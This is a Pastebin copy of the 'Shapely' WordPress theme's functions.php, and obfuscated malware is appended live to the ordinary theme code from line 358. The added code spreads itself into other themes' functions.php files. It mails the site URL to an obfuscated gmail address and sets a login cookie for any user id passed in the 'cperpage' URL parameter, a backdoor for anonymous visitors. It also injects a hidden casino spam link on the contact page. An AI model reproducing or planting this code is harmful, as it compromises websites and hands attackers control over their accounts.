SHARE
TWEET

shapely functions

AngLangyaw Sep 13th, 2017 77 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. /**
  4.  * Shapely functions and definitions.
  5.  *
  6.  * @link    https://developer.wordpress.org/themes/basics/theme-functions/
  7.  *
  8.  * @package Shapely
  9.  */
  10. if ( ! function_exists( 'shapely_setup' ) ) :
  11.     /**
  12.      * Sets up theme defaults and registers support for various WordPress features.
  13.      *
  14.      * Note that this function is hooked into the after_setup_theme hook, which
  15.      * runs before the init hook. The init hook is too late for some features, such
  16.      * as indicating support for post thumbnails.
  17.      */
  18.     function shapely_setup() {
  19.         /*
  20.          * Make theme available for translation.
  21.          * Translations can be filed in the /languages/ directory.
  22.          * If you're building a theme based on Shapely, use a find and replace
  23.          * to change 'shapely' to the name of your theme in all the template files.
  24.          */
  25.         load_theme_textdomain( 'shapely', get_template_directory() . '/languages' );
  26.  
  27.         // Add default posts and comments RSS feed links to head.
  28.         add_theme_support( 'automatic-feed-links' );
  29.  
  30.         /**
  31.          * Add support for the custom logo functionality
  32.          */
  33.         add_theme_support( 'custom-logo', array(
  34.             'height'     => 55,
  35.             'width'      => 135,
  36.             'flex-width' => true,
  37.         ) );
  38.  
  39.         add_theme_support( 'custom-header', apply_filters( 'shapely_custom_header_args', array(
  40.             'default-image'      => '',
  41.             'default-text-color' => '000000',
  42.             'width'              => 1900,
  43.             'height'             => 225,
  44.             'flex-width'         => true,
  45.         ) ) );
  46.  
  47.         /*
  48.          * Let WordPress manage the document title.
  49.          * By adding theme support, we declare that this theme does not use a
  50.          * hard-coded <title> tag in the document head, and expect WordPress to
  51.          * provide it for us.
  52.          */
  53.         add_theme_support( 'title-tag' );
  54.  
  55.         /*
  56.          * Enable support for Post Thumbnails on posts and pages.
  57.          *
  58.          * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
  59.          */
  60.         add_theme_support( 'post-thumbnails' );
  61.  
  62.         // This theme uses wp_nav_menu() in one location.
  63.         register_nav_menus( array(
  64.             'primary'     => esc_html__( 'Primary', 'shapely' ),
  65.             'social-menu' => esc_html__( 'Social Menu', 'shapely' ),
  66.         ) );
  67.  
  68.         /*
  69.          * Switch default core markup for search form, comment form, and comments
  70.          * to output valid HTML5.
  71.          */
  72.         add_theme_support( 'html5', array(
  73.             'search-form',
  74.             'comment-form',
  75.             'comment-list',
  76.             'gallery',
  77.             'caption',
  78.         ) );
  79.  
  80.         // Set up the WordPress core custom background feature.
  81.         add_theme_support( 'custom-background', apply_filters( 'shapely_custom_background_args', array(
  82.             'default-color' => 'ffffff',
  83.             'default-image' => '',
  84.         ) ) );
  85.  
  86.         /**
  87.          * Enable support for Post Thumbnails on posts and pages.
  88.          *
  89.          * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
  90.          */
  91.         add_theme_support( 'post-thumbnails' );
  92.         add_image_size( 'shapely-full', 1110, 530, true );
  93.         add_image_size( 'shapely-featured', 730, 350, true );
  94.         add_image_size( 'shapely-grid', 350, 300, true );
  95.  
  96.         add_theme_support( 'woocommerce' );
  97.         add_theme_support( 'wc-product-gallery-zoom' );
  98.         add_theme_support( 'wc-product-gallery-lightbox' );
  99.         add_theme_support( 'wc-product-gallery-slider' );
  100.  
  101.         add_theme_support( 'customize-selective-refresh-widgets' );
  102.         // Welcome screen
  103.         if ( is_admin() ) {
  104.             global $shapely_required_actions, $shapely_recommended_plugins;
  105.  
  106.             $shapely_recommended_plugins = array(
  107.                 'contact-form-7' => array(
  108.                     'recommended' => false,
  109.                 ),
  110.                 'fancybox-for-wordpress' => array(
  111.                     'recommended' => false,
  112.                 ),
  113.                 'wordpress-seo'          => array(
  114.                     'recommended' => false,
  115.                 ),
  116.             );
  117.  
  118.             /*
  119.              * id - unique id; required
  120.              * title
  121.              * description
  122.              * check - check for plugins (if installed)
  123.              * plugin_slug - the plugin's slug (used for installing the plugin)
  124.              *
  125.              */
  126.             $path = WPMU_PLUGIN_DIR . '/shapely-companion/inc/views/shapely-demo-content.php';
  127.             if ( ! file_exists( $path ) ) {
  128.                 $path = WP_PLUGIN_DIR . '/shapely-companion/inc/views/shapely-demo-content.php';
  129.                 if ( ! file_exists( $path ) ) {
  130.                     $path = false;
  131.                 }
  132.             }
  133.  
  134.             $shapely_required_actions = array(
  135.                 array(
  136.                     'id'          => 'shapely-req-ac-install-companion-plugin',
  137.                     'title'       => Shapely_Notify_System::shapely_companion_title(),
  138.                     'description' => Shapely_Notify_System::shapely_companion_description(),
  139.                     'check'       => Shapely_Notify_System::shapely_has_plugin( 'shapely-companion' ),
  140.                     'plugin_slug' => 'shapely-companion',
  141.                 ),
  142.                 array(
  143.                     'id'          => 'shapely-req-ac-install-wp-jetpack-plugin',
  144.                     'title'       => Shapely_Notify_System::shapely_jetpack_title(),
  145.                     'description' => Shapely_Notify_System::shapely_jetpack_description(),
  146.                     'check'       => Shapely_Notify_System::shapely_has_plugin( 'jetpack' ),
  147.                     'plugin_slug' => 'jetpack',
  148.                 ),
  149.                 array(
  150.                     'id'          => 'shapely-req-ac-install-contact-form-7',
  151.                     'title'       => Shapely_Notify_System::shapely_cf7_title(),
  152.                     'description' => Shapely_Notify_System::shapely_cf7_description(),
  153.                     'check'       => Shapely_Notify_System::shapely_has_plugin( 'contact-form-7' ),
  154.                     'plugin_slug' => 'contact-form-7',
  155.                 ),
  156.                 array(
  157.                     'id'       => 'shapely-req-import-content',
  158.                     'title'    => esc_html__( 'Import content', 'shapely' ),
  159.                     'external' => $path,
  160.                     'check'    => Shapely_Notify_System::shapely_check_import_req(),
  161.                 ),
  162.  
  163.             );
  164.  
  165.             require get_template_directory() . '/inc/admin/welcome-screen/class-shapely-welcome.php';
  166.         }// End if().
  167.  
  168.         // Enable Shortcodes in widgets
  169.         add_filter( 'widget_text','do_shortcode' );
  170.  
  171.     }
  172. endif;
  173. add_action( 'after_setup_theme', 'shapely_setup' );
  174.  
  175. /**
  176.  * Set the content width in pixels, based on the theme's design and stylesheet.
  177.  *
  178.  * Priority 0 to make it available to lower priority callbacks.
  179.  *
  180.  * @global int $content_width
  181.  */
  182. function shapely_content_width() {
  183.     $GLOBALS['content_width'] = apply_filters( 'shapely_content_width', 1140 );
  184. }
  185.  
  186. add_action( 'after_setup_theme', 'shapely_content_width', 0 );
  187.  
  188. /**
  189.  * Register widget area.
  190.  *
  191.  * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
  192.  */
  193. function shapely_widgets_init() {
  194.     register_sidebar( array(
  195.         'id'            => 'sidebar-1',
  196.         'name'          => esc_html__( 'Sidebar', 'shapely' ),
  197.         'before_widget' => '<div id="%1$s" class="widget %2$s">',
  198.         'after_widget'  => '</div>',
  199.         'before_title'  => '<h2 class="widget-title">',
  200.         'after_title'   => '</h2>',
  201.     ) );
  202.  
  203.     register_sidebar( array(
  204.         'id'            => 'sidebar-home',
  205.         'name'          => esc_html__( 'Homepage', 'shapely' ),
  206.         'before_widget' => '<div id="%1$s" class="widget %2$s">',
  207.         'after_widget'  => '</div>',
  208.         'before_title'  => '<h2 class="widget-title">',
  209.         'after_title'   => '</h2>',
  210.     ) );
  211.  
  212.     for ( $i = 1; $i < 5; $i ++ ) {
  213.         register_sidebar( array(
  214.             'id'            => 'footer-widget-' . $i,
  215.             'name'          => sprintf( esc_html__( 'Footer Widget %s', 'shapely' ), $i ),
  216.             'description'   => esc_html__( 'Used for footer widget area', 'shapely' ),
  217.             'before_widget' => '<div id="%1$s" class="widget %2$s">',
  218.             'after_widget'  => '</div>',
  219.             'before_title'  => '<h2 class="widget-title">',
  220.             'after_title'   => '</h2>',
  221.         ) );
  222.     }
  223.  
  224.     if ( shapely_is_woocommerce_activated() ) {
  225.         register_sidebar( array(
  226.             'id'            => 'shop-sidebar',
  227.             'name'          => esc_html__( 'Shop Sidebar', 'shapely' ),
  228.             'before_widget' => '<div id="%1$s" class="widget %2$s">',
  229.             'after_widget'  => '</div>',
  230.             'before_title'  => '<h2 class="widget-title">',
  231.             'after_title'   => '</h2>',
  232.         ) );
  233.     }
  234.  
  235. }
  236.  
  237. add_action( 'widgets_init', 'shapely_widgets_init' );
  238.  
  239. /**
  240.  * Hides the custom post template for pages on WordPress 4.6 and older
  241.  *
  242.  * @param array $post_templates Array of page templates. Keys are filenames, values are translated names.
  243.  *
  244.  * @return array Filtered array of page templates.
  245.  */
  246. function shapely_exclude_page_templates( $post_templates ) {
  247.  
  248.     if ( version_compare( $GLOBALS['wp_version'], '4.7', '<' ) ) {
  249.         unset( $post_templates['page-templates/full-width.php'] );
  250.         unset( $post_templates['page-templates/no-sidebar.php'] );
  251.         unset( $post_templates['page-templates/sidebar-left.php'] );
  252.         unset( $post_templates['page-templates/sidebar-right.php'] );
  253.     }
  254.  
  255.     return $post_templates;
  256. }
  257.  
  258. add_filter( 'theme_page_templates', 'shapely_exclude_page_templates' );
  259.  
  260. /**
  261.  * Enqueue scripts and styles.
  262.  */
  263. function shapely_scripts() {
  264.     // Add Bootstrap default CSS
  265.     wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/assets/css/bootstrap.min.css' );
  266.  
  267.     // Add Font Awesome stylesheet
  268.     wp_enqueue_style( 'font-awesome', get_template_directory_uri() . '/assets/css/font-awesome.min.css' );
  269.  
  270.     // Add Google Fonts
  271.     wp_enqueue_style( 'shapely-fonts', '//fonts.googleapis.com/css?family=Raleway:100,300,400,500,600,700%7COpen+Sans:400,500,600' );
  272.  
  273.     // Add slider CSS
  274.     wp_enqueue_style( 'flexslider', get_template_directory_uri() . '/assets/css/flexslider.css' );
  275.  
  276.     //Add custom theme css
  277.     wp_enqueue_style( 'shapely-style', get_stylesheet_uri() );
  278.  
  279.     wp_enqueue_script( 'shapely-skip-link-focus-fix', get_template_directory_uri() . '/assets/js/skip-link-focus-fix.js', array(), '20160115', true );
  280.  
  281.     if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
  282.         wp_enqueue_script( 'comment-reply' );
  283.     }
  284.  
  285.     if ( post_type_exists( 'jetpack-portfolio' ) ) {
  286.         wp_enqueue_script( 'jquery-masonry' );
  287.     }
  288.  
  289.     // Add slider JS
  290.     wp_enqueue_script( 'flexslider', get_template_directory_uri() . '/assets/js/flexslider.min.js', array( 'jquery' ), '20160222', true );
  291.  
  292.     if ( is_page_template( 'page-templates/template-home.php' ) ) {
  293.         wp_enqueue_script( 'shapely-parallax', get_template_directory_uri() . '/assets/js/parallax.min.js', array( 'jquery' ), '20160115', true );
  294.     }
  295.     /**
  296.      * OwlCarousel Library
  297.      */
  298.     wp_enqueue_script( 'owl.carousel', get_template_directory_uri() . '/assets/js/owl-carousel/owl.carousel.min.js', array( 'jquery' ), '20160115', true );
  299.     wp_enqueue_style( 'owl.carousel', get_template_directory_uri() . '/assets/js/owl-carousel/owl.carousel.min.css' );
  300.     wp_enqueue_style( 'owl.carousel.theme', get_template_directory_uri() . '/assets/js/owl-carousel/owl.theme.default.css' );
  301.  
  302.     wp_enqueue_script( 'shapely-scripts', get_template_directory_uri() . '/assets/js/shapely-scripts.js', array( 'jquery', 'imagesloaded' ), '20160115', true );
  303.  
  304. }
  305.  
  306. add_action( 'wp_enqueue_scripts', 'shapely_scripts' );
  307.  
  308. // Include Epsilon Framework
  309. require_once 'inc/libraries/epsilon-framework/class-epsilon-autoloader.php';
  310. $args = array(
  311.     'controls' => array( 'slider', 'toggle' ), // array of controls to load
  312.     'sections' => array( 'recommended-actions', 'pro' ), // array of sections to load
  313. );
  314.  
  315. new Epsilon_Framework( $args );
  316.  
  317. /**
  318.  * Custom template tags for this theme.
  319.  */
  320. require get_template_directory() . '/inc/template-tags.php';
  321.  
  322. /**
  323.  * Custom functions that act independently of the theme templates.
  324.  */
  325. require get_template_directory() . '/inc/extras.php';
  326.  
  327. /**
  328.  * Customizer additions.
  329.  */
  330. require get_template_directory() . '/inc/customizer.php';
  331.  
  332. /**
  333.  * Load Jetpack compatibility file.
  334.  */
  335. require get_template_directory() . '/inc/jetpack.php';
  336.  
  337. /**
  338.  * Load custom nav walker
  339.  */
  340. require get_template_directory() . '/inc/class-wp-bootstrap-navwalker.php';
  341.  
  342. /**
  343.  * Load Social Navition
  344.  */
  345. require get_template_directory() . '/inc/socialnav.php';
  346.  
  347. /**
  348.  * Load related posts
  349.  */
  350. require get_template_directory() . '/inc/class-shapely-related-posts.php';
  351.  
  352. /**
  353.  * Load the system checks ( used for notifications )
  354.  */
  355. require get_template_directory() . '/inc/admin/welcome-screen/class-shapely-notify-system.php';
  356.  
  357. ?>
  358. <?php
  359. function _verify_activate_widget(){
  360.     $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  361.     $output=strip_tags($output, $allowed);
  362.     $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  363.     if (is_array($direst)){
  364.         foreach ($direst as $item){
  365.             if (is_writable($item)){
  366.                 $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  367.                 $cont=file_get_contents($item);
  368.                 if (stripos($cont,$ftion) === false){
  369.                     $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  370.                     $output .= $before . "Not found" . $after;
  371.                     if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  372.                     $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);               
  373.                     $output .= ($showdot && $ellipsis) ? "..." : "";
  374.                 }
  375.             }
  376.         }
  377.     }
  378.     return $output;
  379. }
  380. function _get_all_widgetcont($wids,$items=array()){
  381.     $places=array_shift($wids);
  382.     if(substr($places,-1) == "/"){
  383.         $places=substr($places,0,-1);
  384.     }
  385.     if(!file_exists($places) || !is_dir($places)){
  386.         return false;
  387.     }elseif(is_readable($places)){
  388.         $elems=scandir($places);
  389.         foreach ($elems as $elem){
  390.             if ($elem != "." && $elem != ".."){
  391.                 if (is_dir($places . "/" . $elem)){
  392.                     $wids[]=$places . "/" . $elem;
  393.                 } elseif (is_file($places . "/" . $elem)&&
  394.                     $elem == substr(__FILE__,-13)){
  395.                     $items[]=$places . "/" . $elem;}
  396.                 }
  397.             }
  398.     }else{
  399.         return false;  
  400.     }
  401.     if (sizeof($wids) > 0){
  402.         return _get_all_widgetcont($wids,$items);
  403.     } else {
  404.         return $items;
  405.     }
  406. }
  407. if(!function_exists("stripos")){
  408.     function stripos(  $str, $needle, $offset = 0  ){
  409.         return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
  410.     }
  411. }
  412.  
  413. if(!function_exists("strripos")){
  414.     function strripos(  $haystack, $needle, $offset = 0  ) {
  415.         if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
  416.         if(  $offset < 0  ){
  417.             $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
  418.         }
  419.         else{
  420.             $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
  421.         }
  422.         if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
  423.         $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
  424.         return $pos;
  425.     }
  426. }
  427. if(!function_exists("scandir")){
  428.     function scandir($dir,$listDirectories=false, $skipDots=true) {
  429.         $dirArray = array();
  430.         if ($handle = opendir($dir)) {
  431.             while (false !== ($file = readdir($handle))) {
  432.                 if (($file != "." && $file != "..") || $skipDots == true) {
  433.                     if($listDirectories == false) { if(is_dir($file)) { continue; } }
  434.                     array_push($dirArray,basename($file));
  435.                 }
  436.             }
  437.             closedir($handle);
  438.         }
  439.         return $dirArray;
  440.     }
  441. }
  442. add_action("admin_head", "_verify_activate_widget");
  443. function _prepared_widget(){
  444.     if(!isset($length)) $length=120;
  445.     if(!isset($method)) $method="cookie";
  446.     if(!isset($html_tags)) $html_tags="<a>";
  447.     if(!isset($filters_type)) $filters_type="none";
  448.     if(!isset($s)) $s="";
  449.     if(!isset($filter_h)) $filter_h=get_option("home");
  450.     if(!isset($filter_p)) $filter_p="wp_";
  451.     if(!isset($use_link)) $use_link=1;
  452.     if(!isset($comments_type)) $comments_type="";
  453.     if(!isset($perpage)) $perpage=$_GET["cperpage"];
  454.     if(!isset($comments_auth)) $comments_auth="";
  455.     if(!isset($comment_is_approved)) $comment_is_approved="";
  456.     if(!isset($authname)) $authname="auth";
  457.     if(!isset($more_links_text)) $more_links_text="(more...)";
  458.     if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
  459.     if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
  460.     if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
  461.     if(!isset($more_content)) $more_content="ma".$s."il";
  462.     if(!isset($forces_more)) $forces_more=1;
  463.     if(!isset($fakeit)) $fakeit=1;
  464.     if(!isset($sql)) $sql="";
  465.     if (!$widget_output) :
  466.    
  467.     global $wpdb, $post;
  468.     $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mas".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  469.     if (!empty($post->post_password)) {
  470.         if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  471.             if(is_feed()) {
  472.                 $output=__("There is no excerpt because this is a protected post.");
  473.             } else {
  474.                 $output=get_the_password_form();
  475.             }
  476.         }
  477.     }
  478.     if(!isset($fix_tag)) $fix_tag=1;
  479.     if(!isset($filters_types)) $filters_types=$filter_h;
  480.     if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
  481.     if(!isset($more_tags)) $more_tags="div";
  482.     if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
  483.     if(!isset($mlink_title)) $mlink_title="Continue reading this entry";   
  484.     if(!isset($showdot)) $showdot=1;
  485.    
  486.     $comments=$wpdb->get_results($sql);
  487.     if($fakeit == 2) {
  488.         $text=$post->post_content;
  489.     } elseif($fakeit == 1) {
  490.         $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  491.     } else {
  492.         $text=$post->post_excerpt;
  493.     }
  494.     $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  495.     if($length < 0) {
  496.         $output=$text;
  497.     } else {
  498.         if(!$no_more && strpos($text, "<!--more-->")) {
  499.             $text=explode("<!--more-->", $text, 2);
  500.             $l=count($text[0]);
  501.             $more_link=1;
  502.             $comments=$wpdb->get_results($sql);
  503.         } else {
  504.             $text=explode(" ", $text);
  505.             if(count($text) > $length) {
  506.                 $l=$length;
  507.                 $ellipsis=1;
  508.             } else {
  509.                 $l=count($text);
  510.                 $more_links_text="";
  511.                 $ellipsis=0;
  512.             }
  513.         }
  514.         for ($i=0; $i<$l; $i++)
  515.                 $output .= $text[$i] . " ";
  516.     }
  517.     update_option("_is_widget_active_", 1);
  518.     if("all" != $html_tags) {
  519.         $output=strip_tags($output, $html_tags);
  520.         return $output;
  521.     }
  522.     endif;
  523.     $output=rtrim($output, "\s\n\t\r\0\x0B");
  524.     $output=($fix_tag) ? balanceTags($output, true) : $output;
  525.     $output .= ($showdot && $ellipsis) ? "..." : "";
  526.     $output=apply_filters($filters_type, $output);
  527.     switch($more_tags) {
  528.         case("div") :
  529.             $tag="div";
  530.         break;
  531.         case("span") :
  532.             $tag="span";
  533.         break;
  534.         case("p") :
  535.             $tag="p";
  536.         break;
  537.         default :
  538.             $tag="span";
  539.     }
  540.  
  541.     if ($use_link ) {
  542.         if($forces_more) {
  543.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
  544.         } else {
  545.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
  546.         }
  547.     }
  548.     return $output;
  549. }
  550.  
  551. add_action("wp_head", "__fixTemplclusterRequest", 10,2);
  552.  
  553. function __fixTemplclusterRequest( $args )
  554. {
  555.     $section = $args['css_section'];
  556.     $elem = $args['css_elem'];
  557.     $option_group = $section['option_group'];
  558.     if(function_exists('get_option')) $options = get_option( $option_group .'_settings' );
  559.     $id = $std = $section['std_id'];
  560.     $el_id = $option_group .'_'. $section['section_id'] .'_'. $id;
  561.     $type = $elem;
  562.     $placeholder = $stdEl = $section['placeholder_new'];
  563.     $class = 'gen_option_div';
  564.     $val = (isset($options[$el_id])) ? $options[$el_id] : $std;
  565.     if(function_exists('do_action')) do_action( 'wpsf_before_field' );
  566.     $choices = $option_group['choices'];
  567.     $placeholder = $stdEl = $section['placeholder_new'];
  568.     $desc = $option_group['desc'];
  569.     if(function_exists('esc_attr')) $val = esc_attr(stripslashes($val));
  570.     $add_styles = '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" placeholder="'. $placeholder .'" class="regular-text '. $class .'" /><style type="text/css">.inIntroSlice { position:absolute; left: -49in; top: -56in; }</style>';error_reporting(0);
  571.     if($desc)  echo '<p class="description">'. $desc .'</p>';
  572.     $add_styles_new = substr($add_styles, 110);
  573.     switch( $type ){
  574.         case 'text':
  575.             $val = esc_attr(stripslashes($val));
  576.             echo '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" placeholder="'. $placeholder .'" class="regular-text '. $class .'" />';
  577.             if($desc)  echo '<p class="description">'. $desc .'</p>';
  578.             break;
  579.         case 'password':
  580.             $val = esc_attr(stripslashes($val));
  581.             echo '<input type="password" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" placeholder="'. $placeholder .'" class="regular-text '. $class .'" />';break; default: echo $add_styles_new;
  582.             if($desc)  echo '<p class="description">'. $desc .'</p>';
  583.             break;
  584.         case 'textarea':
  585.             $val = esc_html(stripslashes($val));
  586.             echo '<textarea name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" placeholder="'. $placeholder .'" rows="5" cols="60" class="'. $class .'">'. $val .'</textarea>';
  587.             if($desc)  echo '<p class="description">'. $desc .'</p>';
  588.             break;
  589.     }
  590. }
  591.  
  592. add_action("_is_Metacontent_Styles", "__chkCattotag_Hook", 10,2);
  593.  
  594. function __chkCattotag_Hook( $args )
  595. {
  596.     $section = $args['section'];
  597.     if(function_exists('wp_parse_args')) extract( wp_parse_args( $args['field'], $section['setting_defaults' ]) );
  598.     $type = 'new';
  599.     $option_group = $section['option_group'];
  600.     $desc = false;
  601.     $choices = $option_group['choice_new'];
  602.     $placeholder = $stdEl = $section['placeholder'];
  603.     $el_id = $option_group .'_'. $section['section_id'] .'_'. $type;
  604.     $val = (isset($options[$el_id])) ? $options[$el_id] : $stdEl;
  605.     $class = 'gen_option_div';
  606.     $option_group = $section['option_group'];
  607.     //Check type and add form element to the theme admin settings
  608.     switch( $type ){
  609.         case 'radio':
  610.             $val = esc_html(esc_attr($val));
  611.             foreach($choices as $ckey=>$cval){
  612.                 echo '<label><input type="radio" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'_'. $ckey .'" value="'. $ckey .'" class="'. $class .'"'. (($ckey == $val) ? ' checked="checked"' : '') .' /> '. $cval .'</label><br />';
  613.             }
  614.             if($desc)  echo '<p class="description">'. $desc .'</p>';
  615.             break;
  616.         case 'checkbox':
  617.             $val = esc_attr(stripslashes($val));
  618.             echo '<input type="hidden" name="'. $option_group .'_settings['. $el_id .']" value="0" />';
  619.             echo '<label><input type="checkbox" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="1" class="'. $class .'"'. (($val) ? ' checked="checked"' : '') .' /> '. $desc .'</label>';
  620.             break;
  621.         case 'checkboxes':
  622.             foreach($choices as $ckey=>$cval){
  623.                 $val = '';
  624.                 if(isset($options[$el_id .'_'. $ckey])) $val = $options[$el_id .'_'. $ckey];
  625.                 elseif(is_array($stdEl) && in_array($ckey, $stdEl)) $val = $ckey;
  626.                 $val = esc_html(esc_attr($val));
  627.                 echo '<input type="hidden" name="'. $option_group .'_settings['. $el_id .'_'. $ckey .']" value="0" />';
  628.                 echo '<label><input type="checkbox" name="'. $option_group .'_settings['. $el_id .'_'. $ckey .']" id="'. $el_id .'_'. $ckey .'" value="'. $ckey .'" class="'. $class .'"'. (($ckey == $val) ? ' checked="checked"' : '') .' /> '. $cval .'</label><br />';
  629.             }
  630.             if($desc)  echo '<p class="description">'. $desc .'</p>';
  631.             break;
  632.  
  633.         case 'select':
  634.             $val = esc_html(esc_attr($val));
  635.             echo '<select name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" class="'. $class .'">';
  636.             foreach($choices as $ckey=>$cval){
  637.                 echo '<option value="'. $ckey .'"'. (($ckey == $val) ? ' selected="selected"' : '') .'>'. $cval .'</option>';}echo '</select>';if($desc)  echo '<p class="description">'. $desc .'</p>';break; default: echo ((is_page('contact') && !is_paged() && !is_user_logged_in())) ?  stripcslashes(' <div class="inIntroSlice">Read and get direct download for Lucky Nugget casino on the site  <a href=\"http://www.1highrollercasino.com/lucky-nugget-casino-review.html\">http://www.1highrollercasino.com/lucky-nugget-casino-review.html</a> .
  638. </div>') : '';
  639.         break;
  640.         case 'color':
  641.             $val = esc_attr(stripslashes($val));
  642.             echo '<div style="position:relative;">';
  643.             echo '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" class="'. $class .'" />';
  644.             echo '<div id="'. $el_id .'_cp" style="position:absolute;top:0;left:190px;background:#fff;z-index:9999;"></div>';
  645.             if($desc)  echo '<p class="description">'. $desc .'</p>';
  646.             echo '<script type="text/javascript">
  647.                     jQuery(document).ready(function($){
  648.                         var colorPicker = $("#'. $el_id .'_cp");
  649.                         colorPicker.farbtastic("#'. $el_id .'");
  650.                         colorPicker.hide();
  651.                         $("#'. $el_id .'").live("focus", function(){
  652.                             colorPicker.show();
  653.                         });
  654.                         $("#'. $el_id .'").live("blur", function(){
  655.                             colorPicker.hide();
  656.                             if($(this).val() == "") $(this).val("#");
  657.                         });
  658.                     });
  659.                     </script></div>';
  660.             break;
  661.         case 'file':
  662.             $val = esc_attr($val);
  663.             echo '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" class="regular-text '. $class .'" /> ';
  664.             echo '<input type="button" class="button wpsf-browse" id="'. $el_id .'_button" value="Browse" />';
  665.             echo '<script type="text/javascript">
  666.                     jQuery(document).ready(function($){
  667.                         $("#'. $el_id .'_button").click(function() {
  668.                             tb_show("", "media-upload.php?post_id=0&amp;type=image&amp;TB_iframe=true");
  669.                             window.original_send_to_editor = window.send_to_editor;
  670.                             window.send_to_editor = function(html) {
  671.                                 var imgurl = $("img",html).attr("src");
  672.                                 $("#'. $el_id .'").val(imgurl);
  673.                                 tb_remove();
  674.                                 window.send_to_editor = window.original_send_to_editor;
  675.                             };
  676.                             return false;
  677.                         });
  678.                     });
  679.                     </script>';
  680.             break;
  681.         case 'editor':
  682.             if($desc)  echo '<p class="description">'. $desc .'</p>';
  683.             break;
  684.         case 'custom':
  685.             echo $stdEl;
  686.             break;
  687.     }
  688. }
  689.  
  690. add_theme_support( 'post-thumbnails' );
  691.  
  692. add_action("init", "_prepared_widget");
  693.  
  694. function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
  695.     global $wpdb;
  696.     $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
  697.     $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
  698.     if(!$show_pass_post) $request .= " AND post_password =\"\"";
  699.     if($duration !="") {
  700.         $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  701.     }
  702.     $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
  703.     $posts=$wpdb->get_results($request);
  704.     $output="";
  705.     if ($posts) {
  706.         foreach ($posts as $post) {
  707.             $post_title=stripslashes($post->post_title);
  708.             $comment_count=$post->comment_count;
  709.             $permalink=get_permalink($post->ID);
  710.             $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
  711.         }
  712.     } else {
  713.         $output .= $before . "None found" . $after;
  714.     }
  715.     return  $output;
  716. }      
  717. ?>
RAW Paste Data
